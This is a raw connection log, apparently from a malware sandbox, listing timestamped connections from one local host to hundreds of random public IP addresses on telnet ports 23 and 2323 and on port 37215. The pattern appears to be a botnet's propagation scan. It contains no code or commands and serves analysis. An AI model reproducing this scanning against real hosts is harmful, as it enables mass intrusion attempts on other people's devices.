Nov 3, 2024 15:33:06.114753962 CET	4847	37215	192.168.2.14	197.209.125.249
Nov 3, 2024 15:33:06.114754915 CET	4833	23	192.168.2.14	208.191.77.243
Nov 3, 2024 15:33:06.114754915 CET	4847	37215	192.168.2.14	156.147.87.14
Nov 3, 2024 15:33:06.114754915 CET	4847	37215	192.168.2.14	197.1.95.56
Nov 3, 2024 15:33:06.114761114 CET	4833	23	192.168.2.14	153.191.103.160
Nov 3, 2024 15:33:06.114762068 CET	4847	37215	192.168.2.14	156.87.179.45
Nov 3, 2024 15:33:06.114762068 CET	4847	37215	192.168.2.14	41.36.120.183
Nov 3, 2024 15:33:06.114762068 CET	4847	37215	192.168.2.14	156.58.226.13
Nov 3, 2024 15:33:06.114762068 CET	4847	37215	192.168.2.14	41.231.79.132
Nov 3, 2024 15:33:06.114762068 CET	4847	37215	192.168.2.14	156.244.190.45
Nov 3, 2024 15:33:06.114762068 CET	4833	2323	192.168.2.14	169.248.239.151
Nov 3, 2024 15:33:06.114768028 CET	4847	37215	192.168.2.14	41.125.117.87
Nov 3, 2024 15:33:06.114768028 CET	4847	37215	192.168.2.14	156.58.37.234
Nov 3, 2024 15:33:06.114768028 CET	4833	23	192.168.2.14	165.170.95.143
Nov 3, 2024 15:33:06.114769936 CET	4847	37215	192.168.2.14	41.210.54.100
Nov 3, 2024 15:33:06.114774942 CET	4833	23	192.168.2.14	9.223.238.125
Nov 3, 2024 15:33:06.114774942 CET	4847	37215	192.168.2.14	156.147.131.128
Nov 3, 2024 15:33:06.114774942 CET	4833	23	192.168.2.14	24.87.116.37
Nov 3, 2024 15:33:06.114782095 CET	4847	37215	192.168.2.14	156.143.72.217
Nov 3, 2024 15:33:06.114784002 CET	4847	37215	192.168.2.14	197.166.81.180
Nov 3, 2024 15:33:06.114789009 CET	4833	23	192.168.2.14	205.125.1.136
Nov 3, 2024 15:33:06.114793062 CET	4833	23	192.168.2.14	183.218.37.62
Nov 3, 2024 15:33:06.114795923 CET	4847	37215	192.168.2.14	197.211.17.202
Nov 3, 2024 15:33:06.114804983 CET	4847	37215	192.168.2.14	156.21.67.220
Nov 3, 2024 15:33:06.114809990 CET	4833	23	192.168.2.14	145.22.242.85
Nov 3, 2024 15:33:06.114811897 CET	4847	37215	192.168.2.14	41.251.84.213
Nov 3, 2024 15:33:06.114815950 CET	4847	37215	192.168.2.14	197.186.183.51
Nov 3, 2024 15:33:06.114821911 CET	4847	37215	192.168.2.14	41.96.218.0
Nov 3, 2024 15:33:06.114824057 CET	4833	23	192.168.2.14	200.151.164.80
Nov 3, 2024 15:33:06.114824057 CET	4833	23	192.168.2.14	169.156.131.68
Nov 3, 2024 15:33:06.114824057 CET	4847	37215	192.168.2.14	197.92.121.178
Nov 3, 2024 15:33:06.114828110 CET	4847	37215	192.168.2.14	41.231.85.0
Nov 3, 2024 15:33:06.114828110 CET	4847	37215	192.168.2.14	197.228.209.210
Nov 3, 2024 15:33:06.114825010 CET	4833	23	192.168.2.14	179.55.61.180
Nov 3, 2024 15:33:06.114833117 CET	4847	37215	192.168.2.14	197.156.67.247
Nov 3, 2024 15:33:06.114833117 CET	4847	37215	192.168.2.14	156.4.35.135
Nov 3, 2024 15:33:06.114836931 CET	4833	2323	192.168.2.14	102.102.48.111
Nov 3, 2024 15:33:06.114836931 CET	4847	37215	192.168.2.14	156.15.64.100
Nov 3, 2024 15:33:06.114836931 CET	4847	37215	192.168.2.14	197.161.107.96
Nov 3, 2024 15:33:06.114840984 CET	4833	23	192.168.2.14	218.126.220.194
Nov 3, 2024 15:33:06.114841938 CET	4847	37215	192.168.2.14	41.73.221.58
Nov 3, 2024 15:33:06.114845991 CET	4833	23	192.168.2.14	82.106.70.85
Nov 3, 2024 15:33:06.114845991 CET	4847	37215	192.168.2.14	197.14.198.179
Nov 3, 2024 15:33:06.114845991 CET	4847	37215	192.168.2.14	41.153.79.90
Nov 3, 2024 15:33:06.114849091 CET	4847	37215	192.168.2.14	197.122.95.63
Nov 3, 2024 15:33:06.114851952 CET	4847	37215	192.168.2.14	41.221.12.50
Nov 3, 2024 15:33:06.114859104 CET	4847	37215	192.168.2.14	197.241.49.61
Nov 3, 2024 15:33:06.114859104 CET	4847	37215	192.168.2.14	41.108.209.24
Nov 3, 2024 15:33:06.114860058 CET	4833	23	192.168.2.14	39.175.10.154
Nov 3, 2024 15:33:06.114860058 CET	4847	37215	192.168.2.14	41.216.213.176
Nov 3, 2024 15:33:06.114861012 CET	4847	37215	192.168.2.14	41.124.5.68
Nov 3, 2024 15:33:06.114861965 CET	4847	37215	192.168.2.14	197.145.146.214
Nov 3, 2024 15:33:06.114861965 CET	4833	23	192.168.2.14	180.219.42.58
Nov 3, 2024 15:33:06.114861965 CET	4833	23	192.168.2.14	115.96.177.159
Nov 3, 2024 15:33:06.114861965 CET	4833	23	192.168.2.14	94.95.152.22
Nov 3, 2024 15:33:06.114867926 CET	4847	37215	192.168.2.14	197.207.0.219
Nov 3, 2024 15:33:06.114886045 CET	4833	23	192.168.2.14	133.208.80.125
Nov 3, 2024 15:33:06.114886045 CET	4847	37215	192.168.2.14	156.39.43.115
Nov 3, 2024 15:33:06.114886999 CET	4847	37215	192.168.2.14	41.124.121.86
Nov 3, 2024 15:33:06.114886999 CET	4847	37215	192.168.2.14	197.185.137.101
Nov 3, 2024 15:33:06.114887953 CET	4847	37215	192.168.2.14	156.45.185.156
Nov 3, 2024 15:33:06.114887953 CET	4847	37215	192.168.2.14	156.170.220.128
Nov 3, 2024 15:33:06.114887953 CET	4847	37215	192.168.2.14	156.108.116.89
Nov 3, 2024 15:33:06.114891052 CET	4847	37215	192.168.2.14	41.48.54.123
Nov 3, 2024 15:33:06.114891052 CET	4847	37215	192.168.2.14	156.159.253.223
Nov 3, 2024 15:33:06.114891052 CET	4847	37215	192.168.2.14	156.86.91.191
Nov 3, 2024 15:33:06.114895105 CET	4847	37215	192.168.2.14	41.34.13.24
Nov 3, 2024 15:33:06.114896059 CET	4847	37215	192.168.2.14	41.233.181.204
Nov 3, 2024 15:33:06.114896059 CET	4833	23	192.168.2.14	61.191.133.115
Nov 3, 2024 15:33:06.114897013 CET	4847	37215	192.168.2.14	197.250.80.234
Nov 3, 2024 15:33:06.114897013 CET	4847	37215	192.168.2.14	156.72.98.25
Nov 3, 2024 15:33:06.114897013 CET	4847	37215	192.168.2.14	156.98.103.217
Nov 3, 2024 15:33:06.114901066 CET	4847	37215	192.168.2.14	197.238.126.67
Nov 3, 2024 15:33:06.114902973 CET	4833	23	192.168.2.14	47.20.134.91
Nov 3, 2024 15:33:06.114903927 CET	4847	37215	192.168.2.14	156.7.43.78
Nov 3, 2024 15:33:06.114903927 CET	4847	37215	192.168.2.14	156.90.20.31
Nov 3, 2024 15:33:06.114903927 CET	4847	37215	192.168.2.14	156.49.227.187
Nov 3, 2024 15:33:06.114907026 CET	4847	37215	192.168.2.14	156.7.110.45
Nov 3, 2024 15:33:06.114907026 CET	4847	37215	192.168.2.14	156.97.200.243
Nov 3, 2024 15:33:06.114907980 CET	4847	37215	192.168.2.14	156.60.179.188
Nov 3, 2024 15:33:06.114911079 CET	4847	37215	192.168.2.14	41.253.204.213
Nov 3, 2024 15:33:06.114912033 CET	4847	37215	192.168.2.14	197.108.17.103
Nov 3, 2024 15:33:06.114912033 CET	4833	2323	192.168.2.14	97.140.177.17
Nov 3, 2024 15:33:06.114912033 CET	4847	37215	192.168.2.14	41.91.94.64
Nov 3, 2024 15:33:06.114917994 CET	4847	37215	192.168.2.14	197.42.112.107
Nov 3, 2024 15:33:06.114923000 CET	4847	37215	192.168.2.14	41.119.31.169
Nov 3, 2024 15:33:06.114923954 CET	4833	23	192.168.2.14	13.254.105.213
Nov 3, 2024 15:33:06.114923000 CET	4847	37215	192.168.2.14	156.172.75.149
Nov 3, 2024 15:33:06.114927053 CET	4833	23	192.168.2.14	219.162.221.7
Nov 3, 2024 15:33:06.114932060 CET	4847	37215	192.168.2.14	41.236.71.213
Nov 3, 2024 15:33:06.114933968 CET	4847	37215	192.168.2.14	156.174.178.240
Nov 3, 2024 15:33:06.114933968 CET	4847	37215	192.168.2.14	41.33.253.135
Nov 3, 2024 15:33:06.114937067 CET	4847	37215	192.168.2.14	197.75.69.46
Nov 3, 2024 15:33:06.114942074 CET	4833	23	192.168.2.14	203.151.46.209
Nov 3, 2024 15:33:06.114943027 CET	4847	37215	192.168.2.14	41.60.207.77
Nov 3, 2024 15:33:06.114942074 CET	4847	37215	192.168.2.14	41.188.112.153
Nov 3, 2024 15:33:06.114947081 CET	4847	37215	192.168.2.14	41.210.36.30
Nov 3, 2024 15:33:06.114948034 CET	4847	37215	192.168.2.14	41.207.224.67
Nov 3, 2024 15:33:06.114965916 CET	4833	23	192.168.2.14	76.54.176.54
Nov 3, 2024 15:33:06.114965916 CET	4847	37215	192.168.2.14	197.137.36.182
Nov 3, 2024 15:33:06.114965916 CET	4847	37215	192.168.2.14	156.18.217.183
Nov 3, 2024 15:33:06.114974976 CET	4847	37215	192.168.2.14	197.30.96.101
Nov 3, 2024 15:33:06.114965916 CET	4833	23	192.168.2.14	104.234.156.44
Nov 3, 2024 15:33:06.114974976 CET	4847	37215	192.168.2.14	41.31.4.82
Nov 3, 2024 15:33:06.114975929 CET	4833	23	192.168.2.14	176.52.123.179
Nov 3, 2024 15:33:06.114976883 CET	4847	37215	192.168.2.14	41.177.168.245
Nov 3, 2024 15:33:06.114978075 CET	4833	23	192.168.2.14	206.174.48.188
Nov 3, 2024 15:33:06.114978075 CET	4847	37215	192.168.2.14	41.229.182.184
Nov 3, 2024 15:33:06.114979029 CET	4833	23	192.168.2.14	222.107.194.70
Nov 3, 2024 15:33:06.114979029 CET	4847	37215	192.168.2.14	156.86.101.41
Nov 3, 2024 15:33:06.114978075 CET	4847	37215	192.168.2.14	156.6.127.34
Nov 3, 2024 15:33:06.114983082 CET	4847	37215	192.168.2.14	41.200.77.146
Nov 3, 2024 15:33:06.114983082 CET	4847	37215	192.168.2.14	197.142.143.103
Nov 3, 2024 15:33:06.114988089 CET	4833	23	192.168.2.14	80.43.120.174
Nov 3, 2024 15:33:06.114990950 CET	4847	37215	192.168.2.14	41.203.253.78
Nov 3, 2024 15:33:06.114988089 CET	4847	37215	192.168.2.14	41.3.6.239
Nov 3, 2024 15:33:06.114991903 CET	4833	2323	192.168.2.14	112.92.47.131
Nov 3, 2024 15:33:06.114993095 CET	4833	23	192.168.2.14	92.101.195.73
Nov 3, 2024 15:33:06.114993095 CET	4847	37215	192.168.2.14	197.2.52.209
Nov 3, 2024 15:33:06.114988089 CET	4847	37215	192.168.2.14	156.28.12.76
Nov 3, 2024 15:33:06.114993095 CET	4847	37215	192.168.2.14	156.206.211.177
Nov 3, 2024 15:33:06.114993095 CET	4847	37215	192.168.2.14	156.176.116.202
Nov 3, 2024 15:33:06.114993095 CET	4833	23	192.168.2.14	92.184.46.74
Nov 3, 2024 15:33:06.114993095 CET	4833	23	192.168.2.14	109.65.50.84
Nov 3, 2024 15:33:06.115000963 CET	23	34596	126.240.3.98	192.168.2.14
Nov 3, 2024 15:33:06.115000963 CET	4847	37215	192.168.2.14	41.222.63.146
Nov 3, 2024 15:33:06.115001917 CET	4847	37215	192.168.2.14	197.87.102.15
Nov 3, 2024 15:33:06.115003109 CET	4847	37215	192.168.2.14	41.16.217.173
Nov 3, 2024 15:33:06.115004063 CET	4847	37215	192.168.2.14	156.69.184.49
Nov 3, 2024 15:33:06.115015984 CET	4847	37215	192.168.2.14	156.107.187.199
Nov 3, 2024 15:33:06.115019083 CET	4847	37215	192.168.2.14	41.247.115.12
Nov 3, 2024 15:33:06.115019083 CET	4847	37215	192.168.2.14	197.244.65.12
Nov 3, 2024 15:33:06.115022898 CET	4847	37215	192.168.2.14	197.45.129.159
Nov 3, 2024 15:33:06.115027905 CET	4847	37215	192.168.2.14	197.118.93.243
Nov 3, 2024 15:33:06.115027905 CET	4847	37215	192.168.2.14	156.168.173.84
Nov 3, 2024 15:33:06.115036964 CET	4847	37215	192.168.2.14	197.245.226.77
Nov 3, 2024 15:33:06.115036964 CET	4847	37215	192.168.2.14	41.147.103.218
Nov 3, 2024 15:33:06.115039110 CET	4847	37215	192.168.2.14	156.88.138.173
Nov 3, 2024 15:33:06.115046024 CET	4833	23	192.168.2.14	221.166.38.97
Nov 3, 2024 15:33:06.115046024 CET	4833	23	192.168.2.14	81.255.27.53
Nov 3, 2024 15:33:06.115052938 CET	4847	37215	192.168.2.14	197.174.48.116
Nov 3, 2024 15:33:06.115052938 CET	4847	37215	192.168.2.14	41.249.171.79
Nov 3, 2024 15:33:06.115068913 CET	4847	37215	192.168.2.14	197.156.186.134
Nov 3, 2024 15:33:06.115072012 CET	4847	37215	192.168.2.14	41.227.248.26
Nov 3, 2024 15:33:06.115075111 CET	4847	37215	192.168.2.14	156.20.25.76
Nov 3, 2024 15:33:06.115075111 CET	4847	37215	192.168.2.14	156.213.202.91
Nov 3, 2024 15:33:06.115076065 CET	4847	37215	192.168.2.14	156.175.144.162
Nov 3, 2024 15:33:06.115076065 CET	4847	37215	192.168.2.14	41.220.6.45
Nov 3, 2024 15:33:06.115077019 CET	4847	37215	192.168.2.14	197.112.202.99
Nov 3, 2024 15:33:06.115076065 CET	4847	37215	192.168.2.14	197.244.93.86
Nov 3, 2024 15:33:06.115077019 CET	4847	37215	192.168.2.14	41.67.226.94
Nov 3, 2024 15:33:06.115076065 CET	4847	37215	192.168.2.14	197.80.78.181
Nov 3, 2024 15:33:06.115082979 CET	4847	37215	192.168.2.14	197.185.61.59
Nov 3, 2024 15:33:06.115082979 CET	4847	37215	192.168.2.14	41.44.38.251
Nov 3, 2024 15:33:06.115086079 CET	4833	23	192.168.2.14	69.94.248.16
Nov 3, 2024 15:33:06.115086079 CET	4833	2323	192.168.2.14	152.176.147.49
Nov 3, 2024 15:33:06.115087986 CET	4833	23	192.168.2.14	79.118.112.6
Nov 3, 2024 15:33:06.115087986 CET	4847	37215	192.168.2.14	41.56.55.217
Nov 3, 2024 15:33:06.115089893 CET	4833	23	192.168.2.14	4.37.228.174
Nov 3, 2024 15:33:06.115089893 CET	4847	37215	192.168.2.14	197.31.72.60
Nov 3, 2024 15:33:06.115091085 CET	4847	37215	192.168.2.14	197.125.148.117
Nov 3, 2024 15:33:06.115092993 CET	4833	23	192.168.2.14	58.249.64.21
Nov 3, 2024 15:33:06.115096092 CET	4847	37215	192.168.2.14	156.229.81.195
Nov 3, 2024 15:33:06.115098953 CET	4847	37215	192.168.2.14	156.184.70.112
Nov 3, 2024 15:33:06.115102053 CET	4847	37215	192.168.2.14	41.195.99.52
Nov 3, 2024 15:33:06.115108013 CET	4833	23	192.168.2.14	59.53.157.137
Nov 3, 2024 15:33:06.115108967 CET	4833	23	192.168.2.14	85.129.185.24
Nov 3, 2024 15:33:06.115109921 CET	4847	37215	192.168.2.14	41.24.213.1
Nov 3, 2024 15:33:06.115114927 CET	4833	23	192.168.2.14	53.62.86.116
Nov 3, 2024 15:33:06.115115881 CET	4833	23	192.168.2.14	46.204.218.102
Nov 3, 2024 15:33:06.115115881 CET	4833	23	192.168.2.14	80.48.242.142
Nov 3, 2024 15:33:06.115128040 CET	23	45228	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.115151882 CET	4833	23	192.168.2.14	163.4.222.55
Nov 3, 2024 15:33:06.115151882 CET	4833	23	192.168.2.14	209.224.66.214
Nov 3, 2024 15:33:06.115155935 CET	4833	23	192.168.2.14	65.76.19.135
Nov 3, 2024 15:33:06.115170002 CET	4833	23	192.168.2.14	99.137.58.111
Nov 3, 2024 15:33:06.115170956 CET	4833	2323	192.168.2.14	71.240.91.79
Nov 3, 2024 15:33:06.115173101 CET	4833	23	192.168.2.14	41.127.65.210
Nov 3, 2024 15:33:06.115187883 CET	4833	23	192.168.2.14	175.246.205.119
Nov 3, 2024 15:33:06.115192890 CET	4833	23	192.168.2.14	176.9.196.195
Nov 3, 2024 15:33:06.115192890 CET	4833	23	192.168.2.14	194.42.52.122
Nov 3, 2024 15:33:06.115200043 CET	4833	23	192.168.2.14	201.63.60.53
Nov 3, 2024 15:33:06.115204096 CET	4833	23	192.168.2.14	46.140.85.73
Nov 3, 2024 15:33:06.115231037 CET	4833	23	192.168.2.14	205.245.2.71
Nov 3, 2024 15:33:06.115240097 CET	4833	23	192.168.2.14	150.169.39.150
Nov 3, 2024 15:33:06.115240097 CET	55586	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:06.115240097 CET	4833	23	192.168.2.14	103.150.196.185
Nov 3, 2024 15:33:06.115240097 CET	55586	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:06.115241051 CET	4833	23	192.168.2.14	182.238.124.129
Nov 3, 2024 15:33:06.115240097 CET	4833	2323	192.168.2.14	209.166.146.41
Nov 3, 2024 15:33:06.115258932 CET	4833	23	192.168.2.14	169.54.194.48
Nov 3, 2024 15:33:06.115262985 CET	4833	23	192.168.2.14	67.25.49.251
Nov 3, 2024 15:33:06.115274906 CET	4833	23	192.168.2.14	161.106.138.131
Nov 3, 2024 15:33:06.115279913 CET	4833	23	192.168.2.14	69.118.219.159
Nov 3, 2024 15:33:06.115282059 CET	4833	23	192.168.2.14	58.158.95.126
Nov 3, 2024 15:33:06.115294933 CET	4833	23	192.168.2.14	89.152.38.186
Nov 3, 2024 15:33:06.115298033 CET	4833	23	192.168.2.14	87.221.87.28
Nov 3, 2024 15:33:06.115298033 CET	4833	23	192.168.2.14	39.20.147.137
Nov 3, 2024 15:33:06.115302086 CET	4833	2323	192.168.2.14	133.228.14.115
Nov 3, 2024 15:33:06.115328074 CET	4833	23	192.168.2.14	211.132.189.201
Nov 3, 2024 15:33:06.115329027 CET	4833	23	192.168.2.14	196.79.127.176
Nov 3, 2024 15:33:06.115329027 CET	4833	23	192.168.2.14	218.107.239.0
Nov 3, 2024 15:33:06.115329027 CET	4833	23	192.168.2.14	86.144.232.98
Nov 3, 2024 15:33:06.115330935 CET	4833	23	192.168.2.14	31.232.232.17
Nov 3, 2024 15:33:06.115335941 CET	4833	23	192.168.2.14	122.198.194.46
Nov 3, 2024 15:33:06.115335941 CET	4833	23	192.168.2.14	217.228.192.141
Nov 3, 2024 15:33:06.115345001 CET	4833	23	192.168.2.14	17.67.21.236
Nov 3, 2024 15:33:06.115351915 CET	4833	23	192.168.2.14	85.17.237.79
Nov 3, 2024 15:33:06.115365028 CET	4833	2323	192.168.2.14	118.173.37.182
Nov 3, 2024 15:33:06.115370035 CET	4833	23	192.168.2.14	23.227.211.175
Nov 3, 2024 15:33:06.115376949 CET	4833	23	192.168.2.14	115.79.15.248
Nov 3, 2024 15:33:06.115387917 CET	4833	23	192.168.2.14	114.11.217.37
Nov 3, 2024 15:33:06.115387917 CET	4833	23	192.168.2.14	13.180.65.251
Nov 3, 2024 15:33:06.115396976 CET	4833	23	192.168.2.14	109.178.238.232
Nov 3, 2024 15:33:06.115417004 CET	4833	23	192.168.2.14	123.70.36.131
Nov 3, 2024 15:33:06.115417957 CET	4833	23	192.168.2.14	93.30.153.206
Nov 3, 2024 15:33:06.115420103 CET	4833	23	192.168.2.14	212.123.145.189
Nov 3, 2024 15:33:06.115437031 CET	4833	23	192.168.2.14	174.139.135.37
Nov 3, 2024 15:33:06.115437984 CET	4833	2323	192.168.2.14	60.232.119.48
Nov 3, 2024 15:33:06.115441084 CET	4833	23	192.168.2.14	59.89.155.160
Nov 3, 2024 15:33:06.115444899 CET	4833	23	192.168.2.14	162.108.190.90
Nov 3, 2024 15:33:06.115473986 CET	4833	23	192.168.2.14	199.63.17.160
Nov 3, 2024 15:33:06.115478992 CET	4833	23	192.168.2.14	45.228.48.230
Nov 3, 2024 15:33:06.115479946 CET	4833	23	192.168.2.14	94.149.73.218
Nov 3, 2024 15:33:06.115483999 CET	4833	23	192.168.2.14	195.191.92.230
Nov 3, 2024 15:33:06.115489960 CET	4833	23	192.168.2.14	45.8.206.29
Nov 3, 2024 15:33:06.115502119 CET	4833	23	192.168.2.14	12.238.65.44
Nov 3, 2024 15:33:06.115503073 CET	4833	23	192.168.2.14	36.56.222.39
Nov 3, 2024 15:33:06.115505934 CET	4833	2323	192.168.2.14	200.166.75.190
Nov 3, 2024 15:33:06.115513086 CET	4833	23	192.168.2.14	168.91.232.196
Nov 3, 2024 15:33:06.115520000 CET	4833	23	192.168.2.14	93.166.238.90
Nov 3, 2024 15:33:06.115535021 CET	4833	23	192.168.2.14	195.111.11.228
Nov 3, 2024 15:33:06.115542889 CET	56152	37215	192.168.2.14	156.33.212.75
Nov 3, 2024 15:33:06.115557909 CET	4833	23	192.168.2.14	176.225.228.8
Nov 3, 2024 15:33:06.115562916 CET	4833	23	192.168.2.14	195.163.67.59
Nov 3, 2024 15:33:06.115566015 CET	4833	23	192.168.2.14	112.78.31.189
Nov 3, 2024 15:33:06.115566969 CET	4833	23	192.168.2.14	43.204.166.68
Nov 3, 2024 15:33:06.115581036 CET	4833	23	192.168.2.14	122.228.253.56
Nov 3, 2024 15:33:06.115581989 CET	4833	23	192.168.2.14	39.215.50.250
Nov 3, 2024 15:33:06.115585089 CET	4833	23	192.168.2.14	187.116.188.22
Nov 3, 2024 15:33:06.115585089 CET	4833	2323	192.168.2.14	68.2.105.224
Nov 3, 2024 15:33:06.115585089 CET	4833	23	192.168.2.14	13.14.243.106
Nov 3, 2024 15:33:06.115602970 CET	4833	23	192.168.2.14	162.82.245.192
Nov 3, 2024 15:33:06.115602970 CET	4833	23	192.168.2.14	194.193.29.242
Nov 3, 2024 15:33:06.115611076 CET	4833	23	192.168.2.14	5.168.226.128
Nov 3, 2024 15:33:06.115619898 CET	4833	23	192.168.2.14	115.22.194.241
Nov 3, 2024 15:33:06.115634918 CET	4833	23	192.168.2.14	204.133.41.29
Nov 3, 2024 15:33:06.115642071 CET	4833	23	192.168.2.14	72.2.40.82
Nov 3, 2024 15:33:06.115648031 CET	4833	23	192.168.2.14	119.165.175.126
Nov 3, 2024 15:33:06.115736008 CET	37034	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.116085052 CET	23	58016	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.116168022 CET	46706	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:06.116180897 CET	46706	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:06.116209984 CET	23	33328	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.116254091 CET	23	58040	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.116275072 CET	37060	2323	192.168.2.14	158.79.131.173
Nov 3, 2024 15:33:06.116297007 CET	58040	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.116527081 CET	23	53302	161.10.146.147	192.168.2.14
Nov 3, 2024 15:33:06.116733074 CET	47250	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:06.116947889 CET	45228	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.116947889 CET	33328	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.117552996 CET	34170	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:06.117552996 CET	34170	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:06.117636919 CET	23	57822	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.117659092 CET	45256	23	192.168.2.14	216.202.115.113
Nov 3, 2024 15:33:06.117674112 CET	23	40406	58.62.127.193	192.168.2.14
Nov 3, 2024 15:33:06.117877960 CET	23	43122	13.101.180.166	192.168.2.14
Nov 3, 2024 15:33:06.118144989 CET	34774	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:06.118252993 CET	23	54832	208.25.183.113	192.168.2.14
Nov 3, 2024 15:33:06.118525028 CET	33328	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.119015932 CET	55934	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.119015932 CET	55934	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.119108915 CET	33358	23	192.168.2.14	87.1.26.136
Nov 3, 2024 15:33:06.119590998 CET	56528	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.119796991 CET	57822	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.119930983 CET	23	48790	213.230.169.123	192.168.2.14
Nov 3, 2024 15:33:06.120052099 CET	37215	55586	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:06.120065928 CET	37215	46706	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:06.120110035 CET	46706	37215	192.168.2.14	197.41.117.125
Nov 3, 2024 15:33:06.120162964 CET	37215	55586	156.33.212.75	192.168.2.14
Nov 3, 2024 15:33:06.120367050 CET	37215	58706	156.191.169.252	192.168.2.14
Nov 3, 2024 15:33:06.120369911 CET	40270	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:06.120369911 CET	40270	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:06.120470047 CET	57854	23	192.168.2.14	151.18.215.125
Nov 3, 2024 15:33:06.120501995 CET	2323	37034	158.79.131.173	192.168.2.14
Nov 3, 2024 15:33:06.120716095 CET	37215	37328	41.77.71.178	192.168.2.14
Nov 3, 2024 15:33:06.120959044 CET	48790	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.120959997 CET	37328	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:06.120959997 CET	43122	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.120980978 CET	58706	37215	192.168.2.14	156.191.169.252
Nov 3, 2024 15:33:06.121062994 CET	40860	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:06.121267080 CET	43122	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.121289968 CET	37215	46706	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:06.121304035 CET	37215	40270	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:06.121340036 CET	40270	37215	192.168.2.14	197.103.118.254
Nov 3, 2024 15:33:06.121372938 CET	23	44108	54.33.199.213	192.168.2.14
Nov 3, 2024 15:33:06.121579885 CET	23	40342	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:06.121718884 CET	37215	54584	197.91.194.211	192.168.2.14
Nov 3, 2024 15:33:06.121778965 CET	37328	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:06.121778965 CET	37328	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:06.121788025 CET	37215	46706	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:06.121800900 CET	37215	55934	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.121814966 CET	23	45228	216.202.115.113	192.168.2.14
Nov 3, 2024 15:33:06.121840000 CET	55934	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.121890068 CET	23	42442	133.49.168.192	192.168.2.14
Nov 3, 2024 15:33:06.121902943 CET	43156	23	192.168.2.14	13.101.180.166
Nov 3, 2024 15:33:06.121987104 CET	37215	52068	156.115.237.200	192.168.2.14
Nov 3, 2024 15:33:06.121999979 CET	37215	44878	197.243.86.185	192.168.2.14
Nov 3, 2024 15:33:06.122030020 CET	37215	34170	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:06.122073889 CET	34170	37215	192.168.2.14	156.214.246.139
Nov 3, 2024 15:33:06.122165918 CET	23	58040	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:06.122343063 CET	37215	34170	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:06.122365952 CET	37215	34170	156.214.246.139	192.168.2.14
Nov 3, 2024 15:33:06.122499943 CET	37910	37215	192.168.2.14	41.77.71.178
Nov 3, 2024 15:33:06.122811079 CET	58040	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.123317957 CET	44878	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:06.123317957 CET	44878	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:06.123416901 CET	58070	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:06.123486996 CET	23	33328	87.1.26.136	192.168.2.14
Nov 3, 2024 15:33:06.123830080 CET	37215	55934	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.123883009 CET	37215	55934	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.123999119 CET	45458	37215	192.168.2.14	197.243.86.185
Nov 3, 2024 15:33:06.124195099 CET	48790	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.124386072 CET	37215	56528	156.75.91.71	192.168.2.14
Nov 3, 2024 15:33:06.124430895 CET	56528	37215	192.168.2.14	156.75.91.71
Nov 3, 2024 15:33:06.124699116 CET	52068	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:06.124699116 CET	52068	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:06.124706984 CET	23	57822	151.18.215.125	192.168.2.14
Nov 3, 2024 15:33:06.124795914 CET	48830	23	192.168.2.14	213.230.169.123
Nov 3, 2024 15:33:06.124907017 CET	37215	46706	197.41.117.125	192.168.2.14
Nov 3, 2024 15:33:06.124958992 CET	54584	37215	192.168.2.14	197.91.194.211
Nov 3, 2024 15:33:06.124958992 CET	44108	23	192.168.2.14	54.33.199.213
Nov 3, 2024 15:33:06.125128984 CET	37215	40270	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:06.125312090 CET	52644	37215	192.168.2.14	156.115.237.200
Nov 3, 2024 15:33:06.125380039 CET	37215	40270	197.103.118.254	192.168.2.14
Nov 3, 2024 15:33:06.125525951 CET	42442	23	192.168.2.14	133.49.168.192
